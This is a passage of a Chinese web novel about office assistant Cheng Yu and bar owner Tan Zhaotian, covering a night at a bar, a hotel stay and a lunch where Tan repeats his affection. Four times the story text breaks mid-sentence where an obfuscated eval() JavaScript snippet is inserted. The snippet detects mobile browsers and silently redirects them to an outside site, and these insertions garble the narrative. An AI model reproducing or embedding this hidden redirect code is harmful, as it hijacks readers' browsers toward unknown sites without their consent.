当晚，程郁在KeepLip的一个双人卡座和张君宁汇合。 程郁到的时候，张君宁已经到了，正坐在高脚椅上，身边是个挨得很近的站着的男人，两人说着话，张君宁恨不得贴男人身上，男人则是宽肩的双开门身材，衬衫领口解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233798|165989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了好几粒扣子，高耸有肉的胸肌若隐若现。 程郁到了，自顾坐下，没打断他们，见张君宁贴着男人的样子，有些好笑。 不久，张君宁和男人聊结束了，两人对视了一眼，男人笑了，张君宁则笑得特别甜。 男人手里握了杯酒，这时候走到卡座的小圆桌旁，隔着桌子，离程郁近了些，弯腰，酒杯伸过来，和程郁面前的那小杯蓝色鸡尾酒轻轻碰了碰，打招呼道：“君宁的朋友？你好，场子刚热，玩儿得开心，有什么事叫我，今天给你们打七折。” 说着又举了举杯子，走了。 程郁冲对方友好地笑了笑。 笑完，程郁没碰那杯蓝色的鸡尾酒，张君宁从高脚椅下来，伸手拿了起来，边仰头一口全喝了，边走近到程郁身边，直接往程郁身上一挨，搂程郁的肩膀：“怎么样，这场子是不是还不错？” 程郁扫视，左右前后看看，觉得装修挺有风格的，也不冷清，点头：“看着还行。” 张君宁：“走，吧台喝酒去。” 程郁跟着张君宁去了吧台。 吧台坐下，调酒师就递过来酒单。 张君宁把酒单丢回去，格外有气派的豪爽道：“挑好喝的上，随便上，都能喝。” “行，没问题。” 调酒师拿走了酒单，直接上了两杯长岛冰茶，摆到吧台上，推给两人。 两人接了，张君宁抿了口，像在喝真的冰红茶，程郁则喝了一大口，来的路上有些干，刚好解渴。 调酒师一看就知道两人都会喝，笑了笑，开始正经的给他们做酒。 程郁这会儿则身心放松，喝喝酒，看看四周，听听歌，再感受下渐渐热闹的场子的氛围。 眼睛一瞥，看见不远处有裸着半身的双开门八块腹肌端着托盘上的酒去给卡座上酒，程郁以欣赏的目光正大光明地多看了两眼。 好地方。 ——程郁从来不乱搞，但正规酒吧，他是会来的，胸肌腹肌，他喜欢，也是会拿眼睛看的。 他对和男人调情也没有兴趣，纯粹是酒吧这地方好玩儿，可以让他身心放松。 他也喜欢浅酌一点，酒量也还不错。 不久，电音和碟乐响起，张君宁去前面舞池嗨去了。 程郁没有张君宁那么嗨，他坐在吧台喝着酒，随音乐的律动点着头，也挺放松惬意的。 有个帅哥这时候过来，趴在吧台上和程郁搭讪，说：“我猜，我们两个肯定撞号了。” 程郁笑，知道对方不是来要联系方式的，也不是来调情的，纯搭讪。 程郁和对方闲聊：“你是O啊？” 对方耸肩：“你看着也是啊。” 眼尾的蓝色眼影blingbling，很漂亮，能魅惑人。 程郁晃了晃酒杯：“我可不是。” 对方又说：“你不去跳舞吗？” 程郁：“不会。而且我腰肌劳损。” 对方哈哈笑，说：“你是白领啊？” 程郁：“你做什么的？” 对方冲他wink：“职业钓凯子。” 程郁就笑：“那你不去钓，怎么在这儿和我聊天？” 对方：“你好看呀，漂亮的就是招人。” …… 程郁挺喜欢酒吧的，他是gay，天生喜欢男人的□□，喜欢腹肌胸肌，喜欢溢出的男性荷尔蒙，这里还有很多小O，可可爱爱的，聊天有趣。 程郁待了一个小时，酒喝了不少，想上厕所了，起身离开吧台。 他问了服务员，走向卫生间的方向。 结果找到卫生间，进去，刚在小便池前分腿站好，拉裤链掏出来，很随意地转了下头，就见隔着一个小便池，旁边，谈兆天同样的姿势站着，也转头看着他。 程郁：“……？” 5. 第 5 章 又这么巧？ 程郁自然意外。 不但意外，还很无语这偶遇的场合。 他尿意都要没了。 程郁这辈子还是第一次掏家伙的时候和自己的追求者四目相对。 他直接不尿了，塞了回去，拉上裤链。 同时收回目光，转身，走向身后的那排厕所隔间，去隔间里尿。 程郁尿的时候想，别来、别来、别来。 他既不想在卫生间碰上自己的追求者，也不想周末难得出来嗨一下，还要应付这种场面。 好在如他所愿，谈兆天没有过来敲隔间门，程郁出去的时候，卫生间里也没了谈兆天的身影。 程郁去洗手，估摸谈兆天可能没有走。 果然，洗好手擦干走出卫生间，卫生间门口的走廊上，谈兆天默默站着。 程郁走出来，谈兆天看了过来。 程郁对谈兆天印象还不错，笑笑，主动打招呼：“这么巧。” 还说：“今天挺巧的，一天遇到两次。” 程郁说着，就从谈兆天身前神色如常地走了过去。 他希望谈兆天别跟着他，也别跟他说什么。 好好的周末休息日，他想开心地玩儿酒吧。 很不错，男人又如他期望的，没有跟过来，也没有说什么。 程郁回了厅里，很快就把谈兆天抛到脑后，继续去吧台喝酒。 他刚坐回去，示意调酒师上杯酒，张君宁拉着一个双开门男人过来了，笑着说：“来来，我们三个来玩儿摇骰子。谁摇出来的最小，谁罚酒。” 他手里就拿着骰子和骰盅。 于是三人并排坐下，张君宁坐中间，程郁和双开门男人各坐两边，三人一起摇骰子玩儿。 第一轮，程郁就输了，总共三个骰子，他竟然摇出了两个一点。 “哦~！” 程郁笑着，在张君宁的起哄下端起杯子喝了两口，继续玩儿。 不远处，可以看到整个大厅情况的二楼办公室的单向玻璃前，谈兆天高高地立着，默默望着吧台那儿的程郁，见年轻男人和朋友一起，玩儿得很开心。 谈兆天当然不是跟着程郁来的。 这家酒吧是他的生意之一，他晚上过来看看，才在酒吧唯一的卫生间偶遇了程郁。 “天哥。” 有人推门，进了办公室。 来人正是之前被张君宁贴得很近的、声称给程郁他们打七折的男人。 “你找我？” 男人这时候完全没有在楼下大厅时那样如鱼得水、周旋调笑，神情十分正经。 他走到谈兆天身边，顺着谈兆天的目光，也往楼下看了看。 谈兆天神色沉静地看着下楼：“吧台那边，摇骰子的。” “啊？” 男人看过去，看见了，应了声：“其中一个我认识，怎么了？” 谈兆天不紧不慢：“今天的单免了，以后都免。” “啊？” 男人意外了下，但马上就点头道：“哦，好，我知道了。” 又道：“我认识的，是中间那个摇骰子的，酒吧之前刚开的时候他就带朋友来玩儿，最近也常来。” “哥你是想给他免单？” 男人下意识多问了下，也理所当然地以为免单是给常来的客人免的，他天哥或许认识。 谈兆天没多言：“他们一起来的，都免。” 男人这下就知道到底是给谁免的了。 张君宁今天就带了一个朋友来，长得特别帅的那个。 男人就笑了：“天哥，你原来喜欢这样的……” 谈兆天转身，没神情流露，也什么都没说，抬手搭了下男人的肩膀，走了，男人马上就敛起脸上下意识的嬉笑，完全不敢在谈兆天面前造次。 这边，程郁快十点来的酒吧，一直玩儿到凌晨一点多。 他酒喝了不少，气氛感受了，天聊了，骰子摇了，还玩儿了牌、跟人石头剪刀布罚酒，玩儿得开心，也很尽兴。 快两点，场子最热闹的氛围渐渐过去的时候，程郁扶着喝得稀烂的张君宁从酒吧出来。 张君宁醉了，意识都不清了，脚都是软的，走得歪歪扭扭，程郁架着他胳膊。 他们两人都没开车，程郁准备叫滴滴，结果滴滴显示附近没车，还要排位，他之前竟然有几十号人在排，怎么都叫不到车——买办法，这里是酒吧一条街，这个点从酒吧出来的人不少，都要用车。 程郁架着软脚虾张君宁站在路边，低头看着手机，正琢磨要不要附近找个酒店凑合一晚，一辆黑车缓缓开近到他们身边，停下，落下副驾的车窗。 车大、高，车窗一落下，程郁抬眼，就看到了车内主驾后的谈兆天。 谈兆天也正看着他，别的没多说，头一撇，示意：“我送你们。” 换平时，程郁肯定会拒绝，他没有和自己的追求者频频接触的习惯，也不想给对方他们可以正常相处的错觉，更不想给对方留下还有希望的信号。 但今天，此刻，他打不到车，张君宁醉得稀烂，天上还有点飘小雨。 程郁可以不为自己考虑，但不能不考虑张君宁，他怕喝了酒又穿得不多的张君宁淋到雨会生病，现在毕竟还只是三月，夜里天凉。 因此眨眼间心念一转，程郁就做好了决定。 他向车内的男人道了句：“麻烦你。” 伸手向后面，拉开了后排车门，把张君宁先塞了进去，接着，自己也上了后排。 门关好，程郁率先向主驾的谈兆天说了句：“不好意思，我朋友醉了，坐车可能会吐，你车里有垃圾袋或者垃圾桶吗。” 谈兆天已经发车，闻言转了下头，低沉的声音沉稳：“没有，可以吐车里。” 程郁心道你真大方，嘴上回：“如果他吐你车上，我给你洗车，陪你钱。” 谈兆天可能说了什么，也可能没有，程郁没听见，因为他刚说完，醉醺醺的张君宁就靠了过来，闭着眼睛嘀咕：“哥哥，摸摸腹肌，好不好嘛。” 好你个头。 程郁把人扶住，让张君宁的头挨着自己的肩膀。 这时候程郁听见了前面谈兆天的声音：“地址。” 程郁没报自己公寓的地址，也没说张君宁的：“你随便附近找个酒店把我们放下就行。” “好。” 谈兆天应得干脆。 程郁顾不上看车外，也顾不上问谈兆天会送他们去哪家酒店，搂着张君宁，拍拍他的脸：“君宁，你忍一忍，别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233799|165989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吐啊。” 张君宁喃喃地说着醉话：“给我骰子，我还要摇……” 大G很快开过拥挤的酒吧一条街，拐上了另一条宽敞不少的马路。 车内很静，没有人说话，只偶有张君宁迷迷糊糊的呢喃。 好在张君宁酒品尚可，醉了也不会大吵大闹。 没一会儿，张君宁像是熟睡了，身体挨着程郁，脑袋枕着程郁的肩膀。 程郁看看身边的张君宁，又抬头看向前排。 他通过车内后视镜看到了开车的谈兆天的半张脸，没有神情，也没有通过后视镜看他，黑眸潭水似的幽深，专注开车，也不随意搭讪。 程郁本来对这个男人的印象就可以，现在自然又添上了几分好感。 毕竟从来没有追求者像谈兆天这样的。 很多人觉得自己条件好，配得上程郁，不说每个，其中很多都自视甚高。 自说自话的有，随意搭腔的有，更有甚者想动手动脚占程郁便宜。 谈兆天，是第一个让程郁印象不错的追求者。 “你也来这里玩儿？” 程郁很自然地开口。 面对追求者，他这人从来只摆态度，并不高高在上。 他对谈兆天印象好，人家拿自己的车送他们两个酒鬼，总不好一路上什么话都不说。 “那家酒吧是我的。” 谈兆天听见程郁和他说话，这才扫向后视镜，开口回答。 “你的啊。” 程郁自然惊讶。 他下意识道：“你白天去理工院那儿，不会是里面也有生意吧？” 谈兆天：“差不多。” 程郁挑挑眉，心想难怪能一而再的偶遇。 “哦，我去理工院是找我弟弟。” 程郁回得随意，本来他也只是随便聊两句，不让气氛冷场。 又说：“你这车蛮不错的，多少钱啊。” 谈兆天：“落地差不多两百万。” 程郁聊：“新车等得久吗。” 谈兆天：“加了钱，没等多久。” 就这样简单聊着，车很快抵达一处酒店，在酒店门前的停车位倒车。 程郁往外一看，是家亚朵。 他搂张君宁：“宁宁，君宁，我们到了，你醒醒。” 张君宁睡得跟小猪似的。 谈兆天这时已经推门下车，绕过半个车身，来到后排的程郁这侧，拉开了门。 程郁扭头看看车边的男人，回过头，继续叫张君宁：“宁宁！醒醒！” “你胸肌好大。” 张君宁喃喃。 大什么大，程郁心道。 他又转头对车边的谈兆天打招呼：“不好意思啊，你稍等。” 继续喊张君宁。 片刻后，谈兆天沉稳道：“我来。” ？ 程郁看过去。 谈兆天冲他点了下头：“你先下来，我来。” 程郁只得请谈兆天帮忙，先按照谈兆天的示意下了车，同时边下车边伸手扶住睡熟的张君宁。 等他下车，谈兆天便弯腰探头进车内，先拉住张君宁的胳膊，接着便跟扛麻袋似的，直接把张君宁顶到了自己肩膀上，把人从车里带了出来，扛着。 6. 第 6 章 程郁吓一跳。 谈兆天已经扛着人一声不响地快步向酒店走去。 程郁看着，默默惊叹。 要知道张君宁可不轻，也不矮，这男人一下能扛起来，可见力气有多大。 程郁不惊叹了，快步跟上。 跟上，进了亚朵的大门，他本以为扛着人的谈兆天要停在前台，等他验证身份办登记入住，哪知谈兆天进了大厅之后，在大厅里翘着二郎腿坐着的一个男人便吓了一跳似的弹起身，迎过来，嘴上还说着：“天哥，你今天怎么来了？” 又看看谈兆天肩膀上：“怎么了呀这是？” 谈兆天没多言：“去按电梯。” “哦哦，好。” 胖子马上带路。 谈兆天这时止步，转身看了看门口跟进来的程郁。 程郁有些不解，眨眨眼，指了指前台：“不用办入住？” 谈兆天沉稳的：“不用。” 已经快步往里走了一些的胖子也看过来，见谈兆天在等程郁，招呼：“不用，帅哥，这边。” 程郁没说什么，跟上。 几人进电梯后，谈兆天还扛着张君宁，手里拿着卡的胖子则看看谈兆天肩膀上，看看程郁，眼里有肉眼可见的闪烁着的八卦欲。 尤其是看到程郁，眼睛都亮了，还狗腿地笑了笑。 不久，到楼层，胖子带路：“这边。” 谈兆天扛着张君宁，程郁跟上。 来到一间房门口，胖子刷着卡，说着：“双床标间可以吧？” 滴滴两声，推开了门，又马上从口袋里掏出什么，塞进了门口的取电装置。 灯一亮，男人站在门口示意，谈兆天扛着人进，程郁跟着走进。 到床边，完全没醒的张君宁被放到床上，谈兆天则连口气都没喘，程郁留意到，再次暗暗惊讶。 “谢谢你。” 程郁开口：“麻烦你们了。” 他很客气，也已经意识到这家亚朵要么也是谈兆天的生意，要么是谈兆天认识的这个胖子的。 程郁知道酒店管理一向严格，主动道：“我是不是要下去补办个入住手续？” 谈兆天看过来：“你照顾你朋友，我去吧。” 程郁自然不好意思一再麻烦谈兆天，但他已经麻烦了，这时候再客气，显得矫情。 于是他接受了，温声道了句“谢谢”。 旁边，拿着卡的胖子的目光在程郁和谈兆天脸上转了至少七八个来回，八卦眼呼之欲出。 “你有事可以叫前台。” 谈兆天没久留，转身准备走，又说：“我早上再过来。” 程郁当然是想拒绝的，麻烦一次两次，是没有办法，谈兆天明早再来，程郁就觉得两人的接触有些多了。 但谈兆天走得干脆说得自然，程郁没好开口再多说什么，只能原地目送，又说了句“谢谢”，同时看了眼还盯着他看的那个拿卡的胖子。 胖子笑笑：“我也走了。” 转身跟上谈兆天。 很快，门合上了。 程郁收回看向门口的目光，低头看床上睡得一动不动的张君宁，默默吐了口气——今晚的发展，还真是始料不及。行了，就这样吧。 程郁走去张君宁脚边，去帮张君宁脱鞋。 另一边，带头向电梯间走去的谈兆天兀自吊了下唇角，眼里也有些许笑意。 胖子这时跟上，一脸八卦：“天哥，他们谁啊？” 又说：“自己走路那个够帅啊，你喜欢啊？” 谈兆天斜了眼胖子，没多言，就道：“他们要是有事，帮关照下。” “行，没问题。” 胖子笑嘻嘻：“天哥你好久不来了啊，我都有个把月没见你了。” 两人说着，前后脚进了电梯。 等谈兆天走了，开着车，回想刚刚，男人又兀自吊了吊唇角，心情不错的样子。 可惜谈兆天不知道的是，程郁和张君宁几个小时之后就走了—— 张君宁睡了两个小时，醒了，难受，哼哼唧唧。 程郁睡在另一张床上，跟着就醒了。 张君宁手捂着额头：“小鱼，我要喝水。” 程郁起来给他拿瓶装水。 张君宁起来，喝了半瓶，渐渐也醒了，迷茫地看看四周，嘀咕：“这哪儿啊？” “酒店。” 程郁回。 张君宁低头，看了看腰间的被子，不满地嘀咕：“这什么呀。” 张君宁是个少爷，他睡觉，床品都是100支以上的好料子，普通酒店的床单被套，他一向嫌弃。 “那我们走？” 程郁没开玩笑。 张君宁有气无力地点点头，掀被子：“走吧，你送我回去吧，我还是喜欢我自己的床。” “嗯，那走。” 程郁去拿衣服裤子。 这时候是早上五点多了，胖子早回家睡了，前台只有一个小姑娘在值班。 程郁和张君宁下楼，到前台，程郁没卡，也退不了房，他其实可以直接走，但想了想，程郁还是向前台说明了下自己的情况，前台了然：“哦哦，我明白了。” 又诧异：“你们这么早走吗？” “有点事。” 程郁没多解释，道：“可以给我张纸么。” 前台把纸笔都拿给程郁，程郁写了几个字，递给前台：“麻烦转交给你们老板。” 就这样，程郁和张君宁走了，这个点也顺利打到了车。 到了早上，八点，胖子没在，谈兆天到的时候，另一个负责酒店的男人看见谈兆天，马上迎过去：“天哥。” 说着，把一张纸递过去：“你凌晨带人来住店的是吧？” “那两人走了，留了这个给你。” 谈兆天原本边走边听男人的话，听到这儿，他止步，接过纸。 纸折着，他展开，看到纸上写着一行漂亮的字：谈老板，今晨多谢，改日请你吃饭。 后面有一串电话号码。 谈兆天看到前一句的时候神色有些拧起，因为他料想程郁提前走了，是故意的，不想早上再见他。 说请吃饭，估计也是客套。 但看到后面跟着的一串号码，谈兆天快要拧起的神色一下舒展，笑意都吊在了唇边。 男人早看过纸条了，见他们天哥都笑了，马上跟胖子似的流露一脸八卦，问：“天哥，这谁啊？” 谈兆天把纸折回去，塞进口袋，转身向外：“上你的班。” “我问问嘛。” 男人跟着谈兆天，一脸狗腿的热情，又说：“天哥你吃饭吗，这个点楼上餐厅有早饭了。” 程郁把张君宁送回家之后，自己也回家了。 他白天补了会儿觉，睡到下午两点才醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233800|165989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 醒过来，懒得动，就点了外卖，还叫了份附近水果店的水果。 他下午哪儿都没去，朋友临时的邀约也拒了，吃完饭，就趴在二楼的床上吃水果刷剧聊微信，还在群里被他刷到个CBD大瓜，说某公司的某高级别大佬和新入职的小员工出轨，被原配抓了个现行，原配要离婚，还索要8000万自己和三个孩子的赡养费。 几个大小群里全在聊这件事，聊得热火朝天。 程郁只看不发言，偶尔发几个吐槽的表情包，心里哼哼，这位高管两年前还试图勾搭他呢，终于翻车了，活该。 不知不觉，就到了晚上八点，程郁又有点饿了，准备起来给自己做份健康的鸡肉沙拉。 他把鸡肉拿出来送进微波炉解冻，另一手刷着手机，突然看见微信有个添加好友的提示，他点进去，看见是有人加他，对方ID是“tan”，验证写着：我是谈兆天。 程郁这才想起来自己给谈兆天留了号码。 他通过验证，下意识点了下谈兆天的头像，看见头像是个有月亮的夜空，个性签名没有写，朋友圈没什么内容，只有几条公众号的转发。 程郁切进聊天页面，想了想，主动发过去：【今天真的谢谢你。微笑.jpg】 【我请你吃饭，时间地点餐厅你随便挑。】 同时程郁补了句：【不过先说好，我没有其他意思，你不能有过多的联想。】 【我们可以交个普通朋友。握手.jpg】 程郁打好预防针，也希望谈兆天能理解领悟。 他相信谈兆天能给他留下这么好的第一印象，想必也不会过多纠缠。 谈兆天很快回：【好。】 【你什么时候空？】 程郁是特助，工作性质摆在那儿，什么时候休息什么时候加班，其实很难说，也全看他们陆总有什么安排。 程郁回忆了下下周陆泽深已经定好的日程安排，想了想，回：【如果是下周的话，周三和周五晚应该都可以。】 【周日一天应该也可以。】 谈兆天：【好。】 程郁见谈兆天没多说什么，放下手机，去洗菜。 洗完回来，重新拿起手机，谈兆天给他转发了一个链接，说：【这家。】 程郁点开，发现竟然是他知道的一家特别难约的中餐厅。 程郁回：【这家得约的，现在能约到吗。】 谈兆天：【可以，我来订位子。】 程郁爽快的：【OK，那就吃这家。】 谈兆天：【周日中午，可以？】 程郁：【好，周日中午。】 【我十二点之前到。】 【到时候门口见。】 【握手.jpg】 谈兆天：【握手.jpg】 放下手机，程郁有种“浑身爽利”的感觉。 他想遇到这种说话做事都一样爽快的人，就是痛快。 换别的男人，喜欢他，早腻腻歪歪地说了一堆有的没的了。 程郁对谈兆天的印象又好了几分。 他现在完全不担心周日的约饭会出什么问题。 他相信和谈兆天这样的人吃饭，就算不会多愉快，也不会多让他难受。 程郁甚至一改从前的观念，觉得如果谈兆天彻底放下追他的念头，也不再继续喜欢他，两人说不定真的可以交个朋友。 7. 第 7 章 新一周的工作日，程郁如往常一样上班，刚到办公室，已经到的部分同事正热切地聊着之前微信群里聊的某司高管大佬出轨小职员的八卦—— “他老婆是不了解他老公的财务情况吗，八千万，真敢开口啊。” “他工资不低的吧？虽然是民营的金融公司，但他们公司规模可以，他一个高管，还有股权，八千万我觉得不算多。” …… 程郁一到，大家马上问他是不是认识那个高管。 程郁脱外套、坐下：“之前工作场合见过几次吧，没印象了。” 有人问：“长什么样啊？” 程郁：“早不记得了。” 程郁是非常懂得职场之道的。 这种八卦，听听就好，要是多说，别万一被谁传出去，回头变成自己和那个高管再有什么牵扯，到时候八张嘴都说不清楚。 程郁开了电脑，边按着键盘输自己的OA密码，边翻开小念给的文件扫了两眼。 桌角，小花瓶内又换了花束，十分漂亮。 程郁签了两个文件，看看表，估摸陆泽深快到了，将面前一摞文件分类，把需要陆泽深签字的文件挑出来，按重要程度排好。 不久陆泽深到了，进办公室，程郁抱起文件，起身跟上…… 这周签成了和鹭灵那款机器人的投资确认书，陆泽深有私事，周三飞A城了，程郁帮订好了机票，也不用跟着，周五下午就给自己放了半天假，去了自己位于市里老街巷的某幸咖啡店。 现在这个牌子的咖啡店满大街都是，而程郁六年前上大学的时候就加盟了，当年开得早，如今赚得多。 不然光靠工资，程郁哪儿能这么潇洒。 他到店里，看了看卫生，还盘了下这个月的帐。 日营业额多，没什么变化，程郁很满足，不多要求。 而在门口擦玻璃的时候，程郁注意到旁边那家之前装修的某雪冰城已经开了，是个不大的小门面，之前开的饺子店。 他看了看，心想终于换店了，之前那家饺子店的生意可不怎么样。 离开咖啡店，程郁去了附近商场，逛了逛，给自己买了身衣服，又买了双鞋。 他照照镜子，觉得头发有点长了，索性又在商场里剪了个头发。 剪头发的时候，有自称总监的长得蛮帅的一个tony老师过来问程郁要微信，还说加微信给他免今天理发的费用，被程郁拒绝了，tony老师不放弃，还在哔哔，言辞间甚至有点打压程郁的意思，程郁直接起身，脖子上的围布都不拆，去了隔壁理发店，之前理发店的老板赶紧跟过来赔礼道歉，把程郁请回去，头发剪完，还给打了五折。 程郁拎着纸袋从理发店出来，头发短了一些，露出些额头，更帅了，附近路人纷纷侧目转头看他。 周六，张君宁又在微信上约程郁去KeepLip，程郁说不去，他下周有重要工作，周末不想喝多了影响脑子。 张君宁跟着道：【也是奇了怪了，是不是他们酒吧的那个男老板想钓我啊。我这周去了两次，他两次都给我免单了。】 【上次我们一起去，结的账也都原路退给我了。】 程郁想到的男老板就是谈兆天。 后来一琢磨，反应过来张君宁说的老板，应该是指他贴的那个双开门男。 【不知道啊。小猫摇头.jpg】 程郁确实也不清楚为什么。 上周他和张君宁一起在KeepLip消费了不少，光酒的账单就有好几千。 程郁这时候也想到谈兆天，觉得会不会是谈兆天给他们免的。 但程郁也不觉得谈兆天会给不认识的张君宁免费玩儿免费喝酒。 哪有这种好事。 张君宁：【怪我，这该死的魅力。】 【妖娆小猫魅惑眨眼.jpg】 程郁好笑：【是，怪你。】 周日，程郁睡了个懒觉，起来后洗漱，换上了周五下午新买的衣服和鞋子，头发弄好，清清爽爽出门，导航去和谈兆天约的那家餐厅。 快到的时候，谈兆天发来消息：【我到了。】 程郁的手机就架在方向盘旁边的手机支架上，看到了，回：【稍等，我快了。】 餐厅在郊区，由临湖的几间房构成。 程郁刚开进内埠路，就看到了在餐厅门口的谈兆天。 程郁看了眼，马上“哇”了声。 因为谈兆天今天穿了件黑色皮衣和一条棕灰的迷彩裤一样的裤子。 配上他的寸头和皮靴，让他本就硬朗的气质显得更加man。 程郁边去停车边兀自感慨得直摇头。 他想这男人得是男人里的男人啊，太man了，酷。 停好车，下来，程郁这才注意到他就停在谈兆天的那辆黑色大G旁边。 他看见了，忍不住多看了一眼。 谈兆天这时已经走了过来，见程郁在看，问：“要去主驾看吗？” 换之前，程郁肯定推拒了，现在么，他都愿意和谈兆天吃饭、交朋友，他对谈兆天自然没有心理上的防备和排斥，点头：“好啊。” 客气道：“麻烦你。” “不麻烦。” 离得还有段距离的谈兆天摸裤子口袋，车钥匙抛给了程郁。 程郁接过，爽朗道：“谢了。” 主驾车门一开，程郁看进去，略微扫了眼，终于知道大G的中控和内饰是怎样的了。 这时谈兆天就站在程郁身后。 程郁转头，目光下意识去捕捉男人的视线，准备问一句“这车好开吗”，才发现谈兆天竟然比他高不少。 程郁觉得他老板陆总一米八八的个子已经够高了，谈兆天似乎比陆泽深还高，穿了鞋，几乎和车顶高度差不多。 程郁估摸他有一米九以上。 程郁于是不问车了，他改问：“你多高啊？” 谈兆天离得近，微垂了些视线看程郁：“一九一。” 程郁合上门，侧身，感叹：“让人嫉妒的身高。” 谈兆天：“不看了？” 又问：“要不要开一圈？” 程郁看看表，抬头：“先吃饭吧，我饿了。” 谈兆天：“好。” 两人一起往餐厅正门走，边走着，程郁边随口聊了句：“等很久吗。” “没有，刚到。” 谈兆天显然是言简意赅的风格，话不多。 而等进了餐厅大门，程郁的注意力被转移——这家餐厅走的是江南雅苑的风格，进门就是白墙灰瓦、石子路、江南风格的漏窗、竹林、小桥流水。 程郁在网上见过这家的打卡，照片都很好看，自己来了拿眼镜看，才发现现场比照片还要雅致。 程郁边走边对身边的谈兆天道：“还挺有氛围的。” 谈兆天看了眼程郁，“嗯”了声。 穿着中式裙衫的服务员给他们领路。 程郁走着，从外面的长廊穿过，才知道这家店一间屋子就是一个吃饭的厅。 他们走过了两个厅，从窗户看去，厅里全是人。 程郁和谈兆天聊：“人不少。” 谈兆天的目光又转到了程郁脸上，这时主动问了句：“不喜欢人多？” 程郁笑了下：“没有，我挺喜欢热闹的，吃饭的店，我也喜欢人多的。” “人多了热闹。” 跟着也转头看看谈兆天，闲聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233801|165989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的姿态：“你呢？” 谈兆天还是言简意赅：“我都行。” 不久，服务员领他们进了一个叫“鹿苑”的厅。 这边厅里人也不少，只临湖的窗边空了几个预留的位子。 服务员带他们去窗边落座，程郁边坐下边往窗外看了眼，觉得这个位子真不错，谈兆天也在他对面坐下，只是坐下前，往旁边的餐桌不动声色地斜了眼。 服务员递过来菜单，程郁从窗外收回目光，示意谈兆天那儿，对谈兆天说：“你点吧。” 谈兆天没接菜单，问：“有什么想吃的？” 程郁随意，如果是他自己吃，或者和朋友来，他会看看菜单，请人么，当然主随客便。 “我都行。” 谈兆天于是看向服务员：“按之前我选好的上。” 程郁听见了，以为谈兆天事先看过菜单了，没有多想。 服务员走后，谈兆天拿起桌上的柠檬水，垂眸给程郁倒水。 程郁接过，道了声谢，看看窗外：“这儿景色不错。” 窗外就是湖，今天天气好，阳光照着，湖面一晃，粼粼波光。 “嗯。” 谈兆天把柠檬水的壶摆去一边。 他人靠着椅背，一只手随意地搁在桌上，手边是柠檬水。 程郁这时笑，主动打开话匣：“你平时话也这么少吗。” “是不算多。” 谈兆天看着程郁。 程郁问：“那你朋友多吗？” 谈兆天：“还可以。” 小弟多。 不过这句谈兆天没说。 程郁看着谈兆天，闲聊的姿态，拿起杯子，喝了一口，说：“我遇见过一些话很少的人。” 比如陆泽深。 “但像你这样几个字几个字往外蹦的，真的不多。” 谈兆天的黑眸注视他：“很没意思？” 程郁却笑了笑。 因为他想谈兆天这样的性格，真难为他那天能主动找他告白。 这得下了多大的决心。 程郁摇头，否认了这句“很没意思”，改聊别的：“你做什么的？” “就开酒吧？承包学校食堂？” “那天那家亚朵不会也是你的吧？” 谈兆天：“很杂，什么都做一点。” “酒店确实也是。” 程郁聊着：“你应该知道我是做什么的吧？” 都表白了。 谈兆天点了下头：“打听过。” 又开始几个字地说话了。 程郁顺着这话：“都打听到什么了？” 看看谈兆天，想了想，不解：“我们之前没有见过吧？你怎么会认识我？” 谈兆天：“见过，只是你对我没有印象。” 又说：“打听了一些，知道你毕业的学校，你在哪里上班，做什么的。” “啊。” 程郁了然了，估摸他和谈兆天某天在某个场合遇到过，只是谈兆天当时没有过来要联系方式，之后打听了他，就挑了个日子过来跟他表白。 程郁接着这个话题：“我还是有言在先啊。” “表白，追求，类似的，通通NO。” “我请你吃饭，就是谢谢你之前帮我，绝对没有其他意思。” “如果你和我吃饭，还有其他目的，那今天吃完，我们以后就不用联系了。” 程郁还是那句：“我表述得清楚吗？” 谈兆天看着程郁，点了下头。 程郁正要笑笑，觉得谈兆天就是和其他人不一样、识趣、有分寸，结果就听谈兆天来了句：“可我还是喜欢你。” 程郁：“……？” 8. 第 8 章 程郁头顶打了个问号。 